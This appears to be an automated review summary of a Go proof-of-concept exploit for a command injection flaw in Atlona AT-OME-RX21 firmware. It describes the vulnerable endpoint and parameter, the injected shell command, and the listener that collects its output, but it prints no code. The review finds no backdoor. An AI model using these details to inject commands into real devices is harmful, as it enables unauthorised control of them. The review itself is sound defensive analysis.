Technical assessment

Go source code that exploits CVE-2024-30167, an authenticated command injection in Atlona AT-OME-RX21 firmware <= 1.5.1. It sends a crafted JSON POST request to /cgi-bin/time.cgi with a malicious serverName parameter containing a shell command, then listens for the command output via a local HTTP server.

Backdoor review

No backdoor observed in reviewed code

The supplied Go source code implements a straightforward authenticated command injection exploit against Atlona AT-OME-RX21 devices. It sends a crafted JSON payload to /cgi-bin/time.cgi, starts a local HTTP listener to receive command output, and performs a graceful shutdown. No concealed executable behavior, unrelated payloads, persistence mechanisms, or operator-directed harm were observed.

Classification basis and observed behavior

Classification basis

The code actively exploits CVE-2024-30167 by sending a crafted request that injects an arbitrary shell command into the serverName parameter, causing the target to execute it and return output to an attacker-controlled listener. This is a full exploit, not merely a scanner or writeup.

Review boundaries

What the analysis did not establish

  • Only the exploit source code is provided; no external dependencies, build instructions, or execution environment are included.
  • The code is not executed or verified; classification is based solely on static analysis of the supplied text.
  • Only the supplied Go source file was reviewed; no external dependencies, compiled binaries, or runtime behavior were analyzed.
  • The review does not assess the safety or legality of using this exploit against systems without authorization.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
